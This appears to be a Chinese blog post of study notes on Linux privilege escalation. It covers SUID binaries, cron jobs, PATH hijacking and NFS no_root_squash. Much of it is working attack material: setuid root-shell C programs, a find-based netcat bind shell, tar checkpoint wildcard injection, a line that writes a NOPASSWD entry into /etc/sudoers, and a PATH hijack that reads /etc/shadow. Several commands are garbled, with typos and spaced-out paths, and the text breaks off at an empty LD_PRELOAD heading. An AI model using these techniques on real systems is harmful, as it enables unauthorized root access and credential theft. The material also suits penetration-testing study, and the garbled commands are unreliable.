shell分本地shell 和 webshell 有些提权方式只能本地shell使用
常见内核漏洞查找脚本以及利用
环境变量提权
suid
- https://www.cnblogs.com/banglook/archive/2022/03/17/16019354.html linux特殊命令
- https://www.secrss.com/articles/28493
什么是suid
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。大写S有执行权限。
例如**/usr/bin/passwd本身是root权限的文件,但用户在修改密码时需要对这个文件进行改写,如果不设置s权限,用户在修改密码时会显示 Authentication token manipulation error 令牌身份出错。**
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效.。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。所以利用此特性,我们可以通过SUID进行提权操作。
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
命令利用
查找系统上运行的所有SUID可执行文件
find / -perm -4000 -type f -ls
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}\;
linux中的标准输入输出
- 0 是标准输入,一般是从键盘获得输入
- 1 是标准输出,一般是输出到屏幕了
- 2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
- >为重定向符号
>/dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”
2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上
-name: 根据文件名查找 区分大小写
-perm:利用权限进制搜索
-type:指定文件类型(l:软连接类型;d:文件夹类型;f:文件类型)
-user: 根据文件属主查询
-group:根据文件属组查询
-mtime:根据文件修改时间查找 -n n天以内修改的文件 +n n天以外修改的文件 n 刚好n天修改的文件
-mmin :同mtime 不过单位是分钟
-size: 根据文件大小查找 -n小于大小为n的文 +n大于大小为n的文件
-print:打印输出。 默认的选项,即打印出找到的结果。
-exec:对搜索到的文件执行特定的操作,固定的格式为:-exec 'commond' {} \; 注意:{} 表示查询的结果。
-ok: 和 -exec 的功能一样,只是每次操作都会给用户提示。 举例1: 搜索 /etc 目录下的文件(非目录),文件以 conf 结尾,且大于 10k,然后将其删除。
find /etc -type f -name '*.conf' -size +10k -exec rm -f {} \;
举例2: 将 /data/log/ 目录下以 .log 结尾的文件,且更改时间在 7 天以上的删除。
find /data/log -name '*.log' -mtime +7 -exec rm -f \;
举例3: 搜索条件同 例1 一样,但是不删除,只是将其复制到 /root/conf 目录下
find /etc -type f -name '*.conf' -size +10k -exec cp {} /root/conf/ \;-a: 与 (默认情况查询条件之间都是 与 的关系)
-o: 或
-not|!:非
-prune:通常和 -path 一起使用,用于将特定目录排除在搜索条件之外。过滤条件写在其他条件前面。
"-path ./test -prune -o xxxxxx"
举例1:查找当前目录下的所有普通文件,但排除 test目录。
find . -path ./test -prune -o -type f
举例2: 查找当前目录下所有普通文件,但排除 test目录 和 opt目录。
find . -path ./test -prune -o -path ./opt -prune -o -type f
举例3: 查找当前目录下所有普通文件,但排除 test目录 和 opt目录,但属主为 mama
find . -path ./test -prune -o -path ./opt -prune -o -type f -a -user mama
举例4: 前置条件同例三且文件大小必须大于 500字节
find . -path ./test -prune -o -path ./opt -prune -o -tyep f -a -user mama -a -size +500
nmap
适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式
nmap --interactive
在nmap交互模式中 通过如下命令提权
nmap> !sh sh-3.2# whoami root
msf当中也有利用nmap进行提权的模块
exploit/unix/local/setuid_nmap
find
find用来在系统中查找文件,同时还具有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
#再通过find反弹root shell
find anyfile -xexc netcat -lvp 5555 -e /bin/sh \;
攻击机上使用 nc xx.xx.xx.xx 5555
vim
vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny vim-basic vi 同样使用
进入vim命令行后 !后面加命令
Bash
bash -p 以root身份打开一个bash shell
less/more
!command
!/bin/sh,进入shell
注意:more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell
nano
古老的文本编辑器
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
cp
使用cp命令覆盖掉原来的文件
awk
awk命令进入shell:
awk 'BEGIN {system("/bin/bash")}'
crontab定时任务
什么是cron
Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。
比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志
1 0 * * * printf "" > /var/log/apache/error_log
一般情况下我们添加计划任务时,都是直接修改/etc/crontab。但是,不建议这样做,/etc/cron.d目录就是为了分项目设置计划任务而创建的。例如增加一项定时的备份任务,我们可以这样处理:在/etc/cron.d目录下新建文件crontabAdd
所以cron执行时会读取三个地方的配置文件:
一是/etc/crontab 二是/etc/cron.d目录下的所有文件 三是每个用户的配置文件
攻击方法
路径解析
如果定时任务参数中的command没有指定绝对路径而是使用的相对路径
系统会默认 /home/user/
tar通配符注入
利用条件:目标定时任务中存在tar文件备份相关脚本
例如:/1 * * * root tar -zcf /var/backups/html.tgz/var/www/html/*
backup命令:cd /home/undead/script;tar czf /tmp/backup.tar.gz *
echo'echo "ignite ALL=(root) NOPASSWD;ALL" > /etc/sudoers' >test.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
https://www.cnblogs.com/manong–/p/8012324.html linux tar相关命令
可写权限
利用条件:
- 管理员给定时任务权限分配不当 使得除了root以外的用户能够重写定时文件 如chmod 777 775等
- 定时任务定期执行某个脚本 该脚本可写或者可供利用
#查看当前计划任务 是否可写
cat /etc/crontab
ls -al /etc/cron.d
如果发现定时任务是root所属并且可写,尝试重写定时任务
#1
一
vi rootme.c
int main(void){setgid(0);setuid(0);execl("/bin/sh","sh",0);
}
$echo"chown root:root / tmp / rootme; chmod u + s /tmp/rootme;">/定时任务
这将更改可执行文件的所有者和组为root。它还将设置SUID位。
5分钟后,运行了cronjob,并以root特权执行了定时任务。$ ./rootme –生成一个root shell。
二
$echo " cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /定时任务#2
如果定时任务是执行某个脚本且可以修改该脚本
import os
impotr sys
try:os.system('chmod u+s /bin/dash')
except:sys.exit()
路径环境变量
例如,如果 C 程序像这样调用系统函数:
#include<unistd.h>
void main()
{setuid(0);setgid(0);system("whoami");
}
可以使用 PATH 环境变量劫持二进制 whoami,如下所示:
cd /tmp
echo "cat /etc/shadow" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
NFS
如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。
什么是root_sqaush和no_root_sqaush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no__root_squash_ 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。
注意:要利用此,no__root_squash_ 选项得开启。
利用NFS并获取Root Shell
现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件,即nfs配置文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
[共享的目录] [主机名或IP(参数,参数)]
其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay。
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
我们可以看到**_/ tmp _**文件夹是可共享的,远程用户可以挂载它。
还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash ”
同样我们也可以使用 showmount命令来查看。
showmount命令用于查询NFS服务器的相关信息
# showmount --helpUsage: showmount [-adehv][--all] [--directories] [--exports][--no-headers] [--help] [--version] [host]
-a或--all以 host:dir 这样的格式来显示客户主机名和挂载点目录。-d或--directories仅显示被客户挂载的目录名。-e或--exports显示NFS服务器的输出清单。-h或--help显示帮助信息。-v或--version显示版本信。--no-headers禁止输出描述头部信息。显示NFS客户端信息# showmount显示指定NFS服务器连接NFS客户端的信息# showmount 192.168.1.1 #此ip为nfs服务器的显示输出目录列表# showmount -e显示指定NFS服务器输出目录列表(也称为共享目录列表)# showmount -e 192.168.1.1显示被挂载的共享目录# showmount -d显示客户端信息和共享目录# showmount -a显示指定NFS服务器的客户端信息和共享目录
# showmount -a 192.168.1.1
我们接下来在我们的攻击机上安装客户端工具
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包
sudo apt install nfs-common
apt-get install cifs-utils
然后输入命令
showmount -e [IP地址]
创建目录以挂载远程系统。
mkdir / tmp / test
在/tmp/test上装载Remote/tmp文件夹:
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test
然后在/tmp/test/中。新建一个c文件。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }
也可以
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c
编译:
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
赋权:
chmod + s /tmp/test/suid-shell.c
好的,我们回到要提权的服务器上
cd / tmp ./suid-shell
可以看到是ROOT权限了
LD_PRELOAD
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅